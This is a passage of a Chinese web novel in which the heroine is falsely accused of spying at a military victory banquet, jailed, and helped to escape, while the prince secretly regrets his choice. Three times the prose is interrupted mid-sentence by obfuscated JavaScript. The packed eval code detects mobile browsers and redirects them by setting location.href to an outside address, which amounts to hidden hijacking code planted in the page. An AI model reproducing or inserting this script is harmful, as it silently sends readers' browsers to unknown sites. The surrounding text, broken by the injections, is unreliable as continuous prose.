说话间,有军士来回禀:“回禀将军,斥候来报,大军距离大营还有十里,请将军准备。” 韩成拍手叫道:“好,好……沈长史、老肖随我同去。” 沈明月心中仍不自在,拒绝道:“你们去吧,我还有些事……” 韩成也不强求,与肖广林一去调遣军士,准备迎接大军归来。 沈明月看着军中忙碌起来,她却不知道如何是好,她是盼着顾洲归来,盼着能见到他,但他的归来也意味着她自己的离开。 这一刻来得太突然了,她没有一点准备,而给顾洲的礼物也没有带来,也许应该等他与众人见完面再去见他,好好跟他道个别。 可道别是多么伤感的事情啊,最终她决定再看他一眼,然后沉默无声地告别,那些心中的遗憾,就交给时间来释怀吧。 半个时辰后,大军浩浩荡荡归来,众将士皆到大营门口迎接,沈明月站到了人群的最后面。 三军仪仗过后,终于见到了顾洲的身影,他身披银色鱼鳞甲,月夸下银鞍白龙驹,大红色披风飘在身后,衬得英俊的面庞愈发卓尔不群、英姿飒爽。 所有人的目光都为之吸引,无人不赞叹一声:“真英雄也!” 入营下马后,他被里三层外三层之人拥入帐内,围观的人群也纷纷散开,准备庆功之宴。 沈明月本想就此离开,走到半路却被韩成拦住,“快开席了,你做什么去?今日你也是功臣,一会儿就和我坐一块,你可得好好给我说说那本《胜券》上的战术。” “可……我还有事!” “有什么事业要等到庆功宴以后再说。”韩成说罢硬将她带到了宴席上。 宴席设在军营演武场的一块空地上,美酒美食已摆在小案桌上,已有不少人到场,只等今日的主角到来便可开席。 人群三三两两地聚在一起,时不时有人的目光向沈明月投来,似乎在说着什么。 沈明月也注意到了这一点,看这些人衣着讲究,瞧着有些眼生,想必是朝廷派来的人,他们的目光,似乎也充满了好奇,沈明月不由得低下头。 韩成带沈明月坐到了距离主位不远不近的地方,看出了她的不自在,小声安慰道:“没事,大大方方的,京中来的这些人没见过世面,不用怕。” “还有,”他说着从桌下搬出一个坛子交个她:“一会儿有人敬你酒,你就喝这个。” 之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15448175|167945||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后将声音压得极低:“这里是水,我特地为你换的,军中那烈酒你可喝不了。” “多谢韩将军!” 沈明月由衷地感激他,在这军营中,能将她当成战友来平等对待的,只有韩成一人。 韩成不以为意地摆摆手:“都认识这么久了,客气啥!” 之后韩成又一一将京城来的人介绍给沈明月,可是人太多,她一时也记不住。 正说着,一个人从身后拍了韩成一掌,韩成吓了一跳,沈明月也被惊住,二人回头一看,原来是徐铭。 徐铭对二人行了一礼,“徐铭见过沈先生、韩将军。” “好小子,”韩成说着在他后背上拍了一掌,“听说你是沈长史的学生,果然是对她尊重,都将她排在我前面了,哈哈……” 听他说着,徐铭与沈明月也跟着笑起来。 忽而随着一声“大殿下到!董将军到!”的高喊声,众人安静下来,纷纷到自己位置上垂首等待。 不多时,顾洲出现在主位上,与他同来的还有一身着藏蓝色衣服的将军,想来就是董弋了。 众人纷纷拱手:“恭喜大殿下大获全胜,顺利凯旋。” 沈明月也跟着行礼,但却没有开口,这声“大殿下”,她怎么也说不出口。 “免礼,此番取胜非我一人之功,在座诸位、全军将士,皆功不可没。”顾洲说着命人倒了三碗酒。 他端起一碗,高声说道:“开席之前,我要敬三碗酒。这第一碗酒,敬战死的英雄和牺牲的袍泽。”说罢将酒洒在了地上。 当着朝中来的人,顾洲没办法明说义军的功劳,但是不说不代表他不重视。 这话其中的含义,韩成与沈明月听得明白,战死的英雄指的是军中之人,而牺牲的袍泽则指代义军。 第二碗酒端起,顾洲继续说道:“这第二碗酒,敬惨遭涂炭的生灵。” 之后这酒也被洒到了地上。 “这第三碗酒,要敬坚持抗敌守土的每一个人。大家共同举杯,干!” “干!干!” 众人举杯应声附和,一起饮尽杯中酒,一时间人心振奋,热血高涨。 之后便有人高喊:“开席,奏乐。” 乐声四起,却不是丝竹之音,而是鼓吹之乐,打击音与吹奏音交叠融合,声音高亢激昂,彰显着大齐军队的庄重与威严。 顾洲身边依旧围满了敬酒的人,沈明月的目光穿过层层人群,落在那熟悉的面庞上。 她们之间的距离不足三十步,可那人却是今晚最明亮、最闪耀的星,而她只是一株仰视明星的小草。 的确,这三十步的距离是高山,是深壑,是不可逾越的障碍。 也许是该离开的时候了。 她趁着韩成与肖广林勾肩搭背、称兄道弟之时,悄悄倒了一杯酒,心中默念着:“顾洲,为你庆功。” 之后将酒杯送到嘴边,一股浓郁的酒香钻入鼻孔,头一仰,辛辣的酒水顺喉咙而下,经过食道,在胸前蔓延出一片灼热。 可真是一杯烈酒! 在酒精的刺激下她的鼻子有些发酸,眼角也带上了一丝微红。 她起身想离开,却忍不住再看顾洲最后一眼。 目光中,顾洲正看向她,似乎是在对她微笑。 她下意识低下头去,想遮掩自己这副狼狈像,再抬头时却见顾洲笑着与别人说话。 原来那笑不是对自己的,她自嘲着离开座位,却不知身后朱文担忧的目光追随着她。 “大家安静一下!” 陈长生的声音响起,周围安静下来,沈明月也只得暂时停下,立于人群之间。 “此番取胜,大殿下功不可没,我代表众人,敬大殿下。” 原来是这种恭维的话,无甚意思,沈明月继续迈开步子。 接着陈长生的话继续传来,“此前战事失利,致使大殿下身负重伤,大殿下可知是因何?” 一听顾洲受伤,沈明月的心一下就悬了起来,脚下一顿,转身看向顾洲,这才注意到原来他一直用左手拿着酒杯,而右手似乎没怎么动过。 他受伤了,还是重伤,怎么可以饮酒,她不免暗暗担心起来。 陈长生见众人都疑惑地等着回答,故意停顿了一下,待勾起人的好奇心后,高声说道:“是因为军中出了细作?” 所有人的注意力都被这句话集中起来,整个筵席都安静下来后,他又将声音提高了几度。 “我已查清,细作就是沈明月!” 29. 陷害 此言一出,全场哗然。 顾洲听完,心头一惊,身体猛地僵住,这太突然了。 方才他见沈明月起身,以为她是来为自己庆功,便笑着想迎上去,可却被别人拦了路,再去看她时却不见了人影。 “你胡说什么?”徐铭立即气愤地质问陈长生,可这声音没有起到任何作用。 陈长生怎会理会一个校尉的话,指着人群中的沈明月,大喝道:“沈明月你哪里逃?来人,将她绑起来。” 众人的目光又随着他的指向,齐刷刷地看向这个嫌疑人。 肖广林与韩成已是五分醉意,这才注意到沈明月不再席上,肖广林一听这话就怒气冲头,想起身上前去理论一番,可却被韩成死死按住, 韩成对他摇摇头,又示意这次有朝中之人在,他这身份过去不合适,韩成自己虽不信这话,但看陈长生的这股气势,想他定是有备而来,且先看看形势再说。 朱文的目光一直关注着沈明月,皱着眉头深深叹了口气,他早就提醒过沈明月要小心,奈何她没听出来,而陈长生这边他也不敢得罪,也不能得罪。 沈明月还不明所以,就被陈长生的两个侍卫押到正席跟前,上首站的是顾洲和京中派了的官员。 她被按跪在地上,不知是刚才那杯烈酒的原因,还是这一切太突然的原因,她的思绪混沌,竟没有反抗,任由军士押着。 顾洲看着台阶下面的单薄柔弱的人儿,胸口狠狠疼了一下。 再看向陈长生,见这人张牙舞爪的得意,他眼神中的错愕消散回归平静,但眼底却涌动起杀意。 他冷冷地向陈长生开口道:“陈将军,你如此说,可有证据?” 抓到贼人的兴奋,让陈长生忽略了大殿下语气中的寒意,只回答道:“回殿下,我暗中观察此人许久了,每日鬼鬼祟祟在房中书写什么,于是派人暗查,果然发现了她通敌的罪证。来人,将人证、物证都带上来。” 韩成坐不住了,起身上前来,他倒要看看是什么证据,待看到小莲被带上来,不由得眸色一紧。 这么会是她?不是已经安排她回府了吗?他转念一想,事情恐怕不简单,于是叫来侍从,耳语一番,侍从自去了。 沈明月看着一堆书被堆在面前,而后又见小莲带着泪跪在旁边,不由得脑中嗡鸣。 怎么会是她? 她是韩成府上的人? 是韩成? 沈明月猛然怔住,瞳孔倏忽一颤,转头去寻找韩成,却见韩成蹙着眉向她这边走来。 怎么会是他?她来不及多思考,思绪纷飞,心乱作一团,紧张的情绪如波涛般翻涌,但她必须压下这慌乱。 她抬头看向陈长生,一字一顿地问道:“这堆书册能证明什么?” “书册倒是没什么,而这些字迹,沈长史该如何解释?” 陈长生说着,拿起一册书,取出其中夹着的纸张,在她面前抖一抖,之后交给众人传阅。 “这文字怕不是汉人的文字吧!” 纸张上写的是摩斯码,里面有英文字母和阿拉伯数字,而这些纸张,她记得早已交给朱文让他去烧掉,怎么会出现在这里? 她又看向朱文,只见朱文站在陈长生身侧,低着头似是在躲避她的目光。 朱文见到这些,也是心中暗暗一惊,沈明月将这些东西给他的后,他见到了上面一些见解十分新奇,便悄悄留了下来,但怎么到了陈长生手里? 这一刻他也明白了,这都是陈长生所为,之前他只从陈长生的言语间,猜到了要对沈明月发难,但没有想到陈长生对他是防范和利用。 可权衡利弊后,他选择了沉默,沈明月若是说不清楚这些东西的来历,恐怕他也会被拉下水。 沈明月低下头去,不屑再看这人一眼,原来他也是这局中的一环,自己真是瞎了眼了,当初就不该相信他。 “这是摩斯码!”她咬着牙说出这几个字。 陈长生立即接下话,“看吧!摩斯码!这叫法都是北蛮人的,沈明月你就是北蛮人的细作!还有人证!小莲,你说你见到了什么? “奴婢……奴婢……”小莲紧张的一句话也说不完整。 “不要怕!大胆说出来。”陈长生鼓励道。 “奴婢不识字,不知道每日姑娘写什么,但奴婢见过她梳辫发的样子,那辫发是蛮人的梳法。”小莲一口气说完,之后伏首在地啜泣起来。 沈明月感到无奈,整日束着头发,勒得头皮发紧,回去便散开发髻随便一编,没想到这小细节至关重要,使她阴沟里翻了船。 她深吸了一口气,稍稍整理了一下思绪,小莲没有证据,只要死不承认也许有一线生机。 “她只是一面之词,谁能证明她说的是真话?说我梳辫发,拿出证据来!” 陈长生厉声说道:“你不要再狡辩了,老老实实交代,或许会少受些罪。” 沈明月气到手脚发抖,颤颤巍巍地站起身来,不服气地说道:“一个没有证据的人证和一张纸上的几个字,能证明什么?这纸上是不是北蛮的字,找人查看便知。” “好,来人,传译官来。”陈长生说着又从袖子中拿出一个册子,呈给顾洲,“大殿下请看。” 之后向众人解释:“这是从她的房间搜到了,被秘密藏了起来,上面写的是《统一东四州草案》。” 沈明月看着这个册子,眼中有些发红,这是给顾洲的礼物,她特意选了最好的纸,精心裁剪装订。 上面书写的,是上一世的遗憾,这一世的野心。 现在却是她的罪证。 陈长生蔑视她一眼,之后下了台阶围着她走了一圈,说道:“这册子里面提到将辽地及辽北以北划分为黑、吉、辽、热四州,其中这辽地就是这辽西、辽东、辽北这三地吧……” 而后他大声诘问:“辽西和辽东两地是我大齐疆土……你要统一这些地区,是何目的?是何居心?” “我只是希望能收复东北……” 沈明月这话越说声音越小,渐渐没了底气,这不是上一世,这片土地还不属于这个朝代,所以她在草案上没有写收复,只写了统一。 陈长生抓住她这薄弱,乘胜追击一般,将罪责安在她身上,指着她狠狠地说道:“一派胡言!你想办法博取大殿下信任,又将大殿下引至北境,勾结北蛮欲射杀大殿下,这就是你的目的。” “真是荒谬!陈长生,你信口雌黄!我有什么理由杀他?” 她说着看向顾洲,眼神极为复杂,是迷茫、是不解、是求助,似乎在问:“你也不相信我吗?” 可顾洲的眼神却深沉无比,其中意味不明。 陈长生犹不依不饶:“你是北蛮……” “够了!”顾洲打断陈长生,而后转向沈明月,语气低沉地问道:“沈明月,你还有什么好说的?” 这话犹如一双手,将沈明月推进了冰窟深渊,浑身冷得厉害,头脑又开始昏沉,她彻底愣住,思绪完全停滞。 她不敢相信这句话,从眼前这个人的口中说出,这个说过会相信她的人,这个说与她是生死之交的人,这个她曾认真地当作战友和朋友的人。 是啊,铁证如山,让他如何不怀疑。 不,也许是他从来就没相信过自己。 她几乎感到绝望,万念俱灰的感觉排山倒海地侵袭而来,压到了其它一切情绪。 人在极度无语的时候真的想笑,她笑了起来,可心中却满是疲惫和无奈,什么也不想解释。 顾洲的右手背在身后,紧紧攥着的手掌在那册子上留下再也抚不平的褶皱,肌肉紧绷牵动筋脉,他似乎听到了伤口崩开的声音,可这疼痛抵不过胸腔的剜心之痛。 最终他下令:“徐铭!将她带下去关起来,细细审问!” “主上!”徐铭扑通一声跪倒在地,急切地求情:“先生不是细作,请主上查明实情!” “带下去!”顾洲厉声说道。 “是……”徐铭无奈,不情不愿地将沈明月带下去! 顾洲看着沈明月离开的背影,毫无表情地说道:“继续奏乐。” 伤口渗出的鲜血已浸透衣衫,但他没有想要去上药包扎,而是任由疼痛在肌骨间游走,好似这样就能缓解心中的愧疚一般。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15452559|167945||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 韩成本想上前去为沈明月辩解,但见大殿下似乎是真的动怒了,便也未再开口。 肖广林站到了他身边,满眼责备地看着他,他按住肖广林的手腕,耳语道:“不要冲动,此事有诈,现在去求情,只怕我们都会折进去。” 肖广林是个明白人,深知若都掉进这个圈套,更没有人去查找证据,为沈明月证明清白,深深地叹了一口气后拍拍他的胳膊,以示明了。 正席上的董弋冷眼旁观这一切,自始至终未说一句话,他已听闻军中有位女长史,神通广大、无所不能,传得跟天神下凡一般。 今日一见,果然不同凡响,但这其中有何是非恩怨,他初来乍到不明所以,不好多言。 虽然揪出了细作,但在场之人,除了陈长生以外,其他人似乎并不高兴,皆是一脸严肃,再看大殿下,脸色更是铁青。 庆功宴上的气氛冰冷至极,但将士们还等着欢庆,董弋适时举起酒杯,说道:“不要让这事破坏了今日的喜庆,大家继续,一起举杯!” 之后他坐回原位对顾洲说道:“殿下有伤在身,未将就不敬殿下酒了,殿下的伤口是不是该换药了?” 顾洲低头一看,果见右胸口衣衫上已红了一片,对董弋点了一下头后起身离席。 在董弋的号召下,大营中鼓乐又起,人群也喧嚣起来,欢呼庆贺声重新调动起庆功宴的气氛。 可这热闹声落在沈明月耳中,却让她觉得自己被捕,是一件大快人心之事。 欢歌声此起彼伏,鼓乐声渐起又渐落,最后全部化作风声,消散在沈明月耳畔。 徐铭亲自带人押送她,说是押送却也没有动手,只是带着两个侍卫将她围在中间,给她留了最后的体面。 “沈先生……”徐铭看着心灰意冷的沈明月,十分担忧,心中责备主上的是非不分,但他也不能说出来,只能说道:“我相信沈先生。” “但是他不相信……”沈明月回忆起顾洲之前的种种疑惑,喃喃自语道:“从始至终,他都没相信过我……” “先生……” 徐铭不知该说什么好,有些事还不明朗,他也没办法多说。 上一场战役中的确是消息泄露,致使大军中了埋伏,但对方显然是冲着主上来的,那一箭穿肩而过,好在没有伤及肺腑。 所幸董弋将军率援军及时赶到,之后主上与董将军重新制定了作战计划,其保密程度连他这个贴身近侍不知道。 他也知道军中有了细作,但他坚信绝不会是沈先生,主上手中那本《胜券》是沈先生所写,在克敌上起了大作用,若她是细作,何必要如此费神来出谋划策。 这道理主上一定是明白的,可为何今日主上怎么就听信了那陈长生的话,他不理解。 此时,徐铭对顾洲的怨怼已达到了极点,将沈明月关起来后,并没有回宴席,一个念头在他脑中升起。 夜色在不知不觉中暗了下来,沈明月以为他们会将自己关入监牢,未想却被关入一间三面土墙,一面是木柱子的简易牢房内。 她蹲坐在墙角,闭上眼睛复盘刚才发生的一切,当时的惊慌让她对于一些细节有些模糊,拼命回忆,只得到了一阵头痛。 夜深了,庆功声时断时续,渐渐稀疏,那杯烈酒之气慢慢消散,她的思路也清晰起来。 首先是陈长生,二人积怨已深,但也只是皮毛之事,不想此人对自己下如此杀招,真是低估了他的手段。 其次是朱文,早就该看出这人是个伪君子。 然后是韩成,当初他将小莲派到自己身边,也许就是为了这一天,可他平日对自己的维护却也感觉不到半分假意,真是人心难料。 最后是顾洲,想当初自己一腔热情,非要上他这艘船,成为他的水手,现在在船靠岸了,自己自然也没用了。 而且当初招收义军的想法也是自己提出的,可现在的出兵已是名正言顺,那些见不得光的过往便要隐藏起来。 所以,欲治其罪,何患无辞。 正惆怅叹息之时,只听有人在小声唤她。 “沈先生,沈先生……” 30. 逃狱 一听先生这二字,沈明月便知是徐铭派来的人。 这人将一个碗从栏杆缝隙中塞进来,“先生吃些东西。” “我不饿。”沈明月心中郁郁,哪里还吃得进东西。 那人又将碗向前推了推,加重了语气:“先生吃一些吧!” 这音的语气带着些迫切,沈明月微微有些诧异,感觉到他想要说什么,于是往前挪了挪。 离近了才听那人说道:“主上已下令处决先生,先生快走,徐校尉在马厩等您。” 处决? 沈明月的心猛然一沉,眸色倏紧,错愕的表情凝固在脸上,怎么会这样?顾洲竟然处决她! 那人见她不动,担忧地叫了一声:“先生?” 这声音将沈明月从震惊中拉了回来,只见那人的手点了点碗上的馒头后离开了。 她拿起馒头,果见一把钥匙在黑暗中闪着金属光泽,随后就听外面传来对话声。 那人道:“兄弟辛苦了,庆功宴去不了,还要看守犯人。” “谁说不是呢?我碗里肉还没吃完就被叫来看牢房,真是倒霉。不用……诶!你这……陈将军知道了会……” 一个粗犷的声音抱怨着,这个人本是陈长生的帐下护卫,沈明月刚被关进起不久,陈长生就派他过来看守。 “放心!今日大家都去席上来,你不说我不说谁会知道!” “那就多谢兄弟了,一起?” 接着二人的声音渐渐变小了。 沈明月用颤抖的手抓起钥匙,眼眸一低,心中一阵疼痛,可嘴角却强扯出一抹苦涩的讥笑。 自己是何等愚蠢,何等轻贱,甚至在前几分钟,还幻想着顾洲能查清原因还她清白,然而人心凉薄,所谓的信任和友情就是这样不堪一击。 顾洲,是你不仁在前,那就不要怪我不义。 她恨恨地想着,不自觉地握紧了钥匙,再抬头时,眼中已是坚定的漠然:此时不走,更待何时! 事不宜迟,起身打开锁头,用手握住锁链,不让它发出声响,出来牢房后又将门锁好。 牢房里一片漆黑,若不仔细看,是不会发现里面已没人了,锁上牢房也可拖延一会儿时间。 这里是大营的最偏僻的地方,不知是庆功宴已散还是距离太远,总之四周寂然无声,借着夜色的遮掩,她一路朝马厩走去。 暗处观察了一会儿,摸准了巡狩军士的路线,找准几个可以隐蔽的地点,心中推演着如何快速到马厩哪里。 前一段路还很顺利,就差最后几步到马厩时,突然出现四五个巡视的军士,她忙躲到一大垛草垛旁,用麻袋遮住身体。 那几个军士久久未动,举着火把在说些什么,时间一分一秒地过去,她不由得紧张起来,既担忧牢房那边被发现,又担心找不到徐铭。 紧张令她浑身紧绷,手紧紧抓住麻袋,她甚至可以听到心脏如击鼓一般的跳动声,仿佛随时要冲破胸膛的束缚。 她的精神全部集中在那些军士身上,以至于脚腕上痒了很久她才发觉,下意识地用手去挠,却捏到一个浑身硬毛的东西,那东西似乎也受到了惊吓,“吱吱”惨叫几声,从麻袋中窜了出去。 虽然只是一只老鼠,但在这样惊险的情况下,却令她神经一紧,浑身瞬间出了一层冷汗,强忍着没叫出声来。 军士听到动静都看向这里,两个人举着火把走过来,“是谁?谁在那里?” 麻袋已暴露在外面,若此时逃走必然被发现,她只能硬着头皮屏气敛息,随着脚步的逼近,她的每一次呼吸,都带上了灼痛的感觉。 “你命中该有一劫……” 她的脑中又响起那次看手相时的话,看来时机已到,她在劫难逃,索性闭上眼睛等待着被捕。 等待死亡降临前的时刻里,时间仿佛停滞,每一次的心跳之间,都隔着漫长的停顿。 然而,似乎过了许久,没有人掀开她头上的麻袋,却恍惚听到徐铭的声音传来。 “你们不去巡视,在这里做什么?” 那两个军士见到徐铭,纷纷行礼:“徐校怎么亲自来这里了?这里方才有动静,所以过来看看。” 徐铭瞥了一眼军士指的地方,一下子就看到麻袋后面露出的一小节衣衫,那是沈先生的。 他赶紧站到麻袋前,假装查看一下后,说道:“没事,什么都没有。今日庆功宴,殿下与将士同乐,但这大营防守也不能松懈,尤其是那边黑暗处,更要多加防范。” “今晚大营安危都系在你们身上,若相安无事,明日殿下定有重赏。” 听他这么一说,军士们都高兴起来,说话都带上了劲头:“是,小的们这就过去。” 待支走了这群人,徐铭掀开麻袋,轻轻叫了声:“沈先生。” 见来人的确是徐铭,沈明月紧绷的神经一松,长舒一口气后,肌肉和骨头仿佛失去了力量,身体没了支撑,她便瘫坐在地上。 徐铭将沈明月拉起来,“沈先生,跟我走。” 不等她说什么,徐铭便半搀着她来到马厩中,一匹长鬃黑马被套上辔头、马鞍。 沈明月已恢复了神智,担忧地问道:“你怎么办?私自放走细作,这可是重罪。” “先生不是细作!”徐铭的言语中带着笃定。 “先生不用管我,主上不舍得罚我,还是快走吧!” 沈明月听着心酸,深知徐铭这话只是为了安慰她。 然而她不死心地又问了一句:“顾洲想要杀我是吗?” 徐铭犹豫了一下,没有正面回答,言语间却带上了惆怅:“我去找过主上了,可主上与陈长生在一起,我连面都没有见到。” 他回去后便想要去求主上开恩,但却在帐外打探道主上神色不大好,现下正在换药,他也知此时去求情,只怕会适得其反,于是想等顾洲气消一些再去说。 可心下却担忧沈先生,过了一会儿再去,只听营帐里面有陈长生的声音。 他自幼受训,耳聪目明,便悄悄听起墙角来。 只听陈长生说道:“殿下也听译官说了,这纸张上的字虽不是北蛮文字,但也绝非我中原文字,保不齐是那个周边小国的细作,退一步来说,就算她不通敌,留着此人也是个祸患。她奸诈狡猾,智多近妖,若被有心人利用,恐对殿下不利。” 良久的沉默后,又听顾洲哑着嗓音说道:“陈将军所言极是,这小女子藏得真深,是我轻信了她,待明日拷问,定有办法让她招供!” 陈长生见他口风松动,立即再添一把火:“她这人倒是有几分骨气,恐怕不会轻易招供,说不定会生出什么变数来,不如直接处决了她,一来清理了细作,二来也震慑大军。” 徐铭听着直觉这陈长生愚蠢至极,将细作斩首,那还怎么揪出背后之人,他想这么浅显的道理主上一定会懂得,肯定不会答应。 不料却听顾洲说道:“今日庆功宴,不宜见血光,等明日再议,我有些累了,陈将军请回吧。” 徐铭赶紧离开营帐,心焦如焚,背主而行的决定越发坚定起来。 他没有多说别的,只叮嘱沈明月:“这马是从营州来的,识得回去的路,先生先和莺儿藏起来,等我回去了就去找先生。” 说完他将一件黑色披风为沈明月披上,牵着马送她到了马厩围栏处,这里已撕开了一道口子。 对于徐铭,沈明月感到欣慰,到现在,距离事发不过两个时辰,他就周密地安排了一切,之前的毛头小伙子,真的成长得太快、成长了太多。 她带着深深的感激,最后看了一眼徐铭,只怕这一别便是永远了,纵有千言万语却只化作一句:“你自己小心,保重。” “先生,一路平安。”徐铭说完,端正地行了一礼。 想到莺儿,沈明月毫不犹豫地策马而去,若自己出了什么事,她也逃不掉。 马蹄疾驰,一刻钟之后已到达安庆城郊的山坡上,她勒马停下,站在这里,正好看见城外的大营的一角,其中光亮依旧,宴席似乎还没散。 火光映在她的眼眸,却照不亮那比夜色还深的幽暗,这幽暗之下埋藏的是无法言说的冤屈、悲哀与寂灭。 这些闪闪烁烁的亮光看起来极其不真实,如幻影一般,就如同今晚的这些人和这些事,都好似一场梦,一场噩梦。 梦里,所有人都背刺了自己,小莲,韩成,朱文,陈长生……还有顾洲! 顾洲!顾洲! 这个名字让她的心在疼痛中泛起恨意,恨他是非不分、恨他识人不清、恨他欺瞒真心…… 虽恨,却又无可奈何,只是深深的无力感,心中的压抑如同阴云一般堵住胸口,她只能用大口喘息来缓解不适。 多希望今晚是一个梦啊!然而,并不是! 或许这个世界是一场梦!可惜,并不是! 一切都结束了,她在风中喃喃自语:“顾洲,以后你走你的的阳关道,我过我的独木桥,此生不要再让我遇见你!” 之后她决绝地调转马头,用鞭子在马臀上狠狠抽了两下,头也不回地朝暗夜而去。 而她身后的大营中,火光却越来越亮。 酒过三巡,菜过五味,陈长生今晚兴奋过度,喝得满脸通红,大家都带着十分的醉意散场,他却没有离开,而是命人去提沈明月,想再羞辱她一番。 不多时,侍从火急火燎地跑回来汇报:“不好了!不好了!陈将军,沈明月逃走了!” “什么?”陈长生豁然站起身来,当即出了一身冷汗,顿觉酒醒了三分,不敢相信地指着侍从说道:“你……你再说一遍。” 侍从喘着粗气:“沈……沈明月跑了!” “怎么让人跑了?快找!快去找!” 声嘶力竭的叫喊声,好似一声炸雷正劈到了大营中间。 消息送到韩成处,韩成与肖广林装作醉得不省人事,没有理这个茬。 消息又至董弋帐下,董弋本就不愿插手此事,便以“无大殿下命令”为由拒绝了。 陈长生只得又命侍从去告知大殿下,侍从慌慌张张地来到顾洲帐前,却被徐铭截在外面。 他呵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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随后顾洲披着外衫也出来,胸前似乎又有了血痕,他面色铁青,对徐铭吩咐道:“去找人!” “是!”徐铭说完没有立即行动,而是抱拳行礼,接着说道:“请殿下回去休息,殿下刚才饮了酒,本就对身体不好,现在不能再动怒了。” 顾洲听完微微诧异,这小子怎么这样啰嗦了! 他疑惑地看了徐铭一眼,但因他躬身低头,见不到面上表情,也就作罢。 当然他也没看见徐铭已经发白的面色。 “快去吧!” 顾洲说完转身进帐,命人为他更衣,他面上虽不动声色,却心神不宁起来,表情十分不自然,似乎在挣扎克制着情绪。 侍从们小心翼翼,生怕触了霉头,可顾洲却嫌侍从们手脚慢,夺过玉带想自己系上,但手却不听使唤,系了两次才系好。 这次他是彻底地慌了神,他知道细作不是她,他知道她是被陷害,他什么都知道,但是沈明月被指认后,他却想的是先扣押沈明月,让真正的细作放松警惕,趁机找出证据,再还沈明月清白。 这事恐知道的人多了会泄露,他便没告诉任何人,时席上的情况,不容许他去解释,而之后他被陈长生拌住脚,竟也没找到机会去只会她一声。 在外征战的这些日子里,他总是会想起沈明月,记忆中她的一颦一笑、一嗔一怒,都会轻易让他的心中泛起涟漪。 起初他以为只是习惯了她在身边而已,直至一个寂寂无声的深夜里,思念犹如疯涨的藤蔓,将紧紧他缠绕,他甚至想抛下大军,立即骑马回去见她! 他只能拼了命地克制,这时他才意识到,自己已深坠情网,无法自拔。 于是他想尽快结束战争,行动上便开始冒进,却让细作有了可乘之机,也致使他身负重伤,最后虽然大获全胜,可他依旧没有胜利的喜悦。 今日归来,他被欢呼的人群簇拥着,可这人群里却没有她的身影,可他没有失落,因为她是雪中送炭之人,而非锦上添花之人。 他只盼着与她单独见面,他有好多话想要对她说,想告诉她自己的思念,想告诉她自己的爱意,想问她是否愿意嫁于他为妻。 可现在,一切都晚了,一切都没有可能了。 是他自己亲手葬送了这一切。 愧疚像洪流一般涌上心头,他后悔不已,双手紧紧握住拳头,走出营帐的每一步都沉重而急促,自责自己为什么要这样选择。 所有的情绪杂糅在一起,化作眼角的一片潮湿,默默诉说着无尽的遗憾。 刚出营帐,一阵剧烈的疼痛疼自胸部弥散到全身,伤口再一次崩开,血瞬间浸透的衣衫,这次他再也招架不住,身体摇摇欲坠,幸而有侍卫扶住。 他抬头看着幽深的夜色,视线逐渐模糊,心中是住不住的担忧和害怕。 天这样黑,她会去哪里? 31. 混乱 徐铭本就不想寻人,只安排两人做做样子,听闻顾洲晕了过去,立即回到营帐,调集所有军医调来诊治,又着人烧水煎药,弄得好不热闹。 这是当然是跟沈明月学的,事情对自己不利时,先把水搅浑。 这一番折腾惊动了大营所有人,众人心中自有轻重,顾洲是皇子,且是先皇后嫡子,虽然不得圣眷,但若他出了什么事,估计这一营人马都得跟着陪葬,于是将关注都集中在了大殿下营帐这里。 几位将军已在营帐外等候,其中最焦急的莫过于董弋,出征前圣上曾亲自送行、殷切叮嘱,这表面上看起来是对全军将士们鼓励与关切,但他看得明白,这实际上是圣上在为大殿下的安危担忧,只是碍于朝局形势而不好明说。 所以董弋这次出征的任务有两个,第一击退敌军,第二保护顾洲。 眼看就要功德圆满,不料半路杀出个陈长生,此番陈长生的行为真是令人匪夷所思,抓捕细作本该暗中进行,顺藤摸瓜一网打尽,而这人为了彰显功劳,竟大弄声势,反其道而行之。 如此,虽然抓到了细作,但也打了草惊了蛇,再想查下去可就难了。 他看着依旧上窜下跳的陈长生,气就不打一处来,但也不好发作,暗暗将这笔账记在此人头上。 大营周围已被翻了几遍,却毫不见踪影,陈长生心中很是恼火,这一番折腾,不仅无人响应,还令大殿下旧伤复发。 看着举着火把的军士,他将罪责怪防守之上,于是命令道:“来人,将今日看守牢房的人和巡营的人一起叫来。” 不多时,他的侍从只抬上来一个醉酒之人,回禀道:“将军,牢房看守已带到。” 陈长生看着亲自派去的人醉得如烂泥一般,只觉得脸被打得生痛,跳着脚说道:“来人,用水将他泼醒……巡营的人呢?怎么没带来” 侍从却不动,支支吾吾地说道:“今夜巡营的人是韩将军帐下的人。” 陈长生这才想起今晚韩成没说一句,也没安排人手去寻找,于是他向韩成发难。 “韩将军,平日里这沈明月与你和肖长林走得最近,不会是你的军士玩忽职守,主动将她放了吧!” 因着小莲的叛变,韩成心中正十分不爽,听到这责问,面色一沉,怒气如浓云般翻涌上来。 他怒目圆瞪,直视陈长生,“你少血口喷人,是你自己的人看守不好,还想把责任推给别人?” 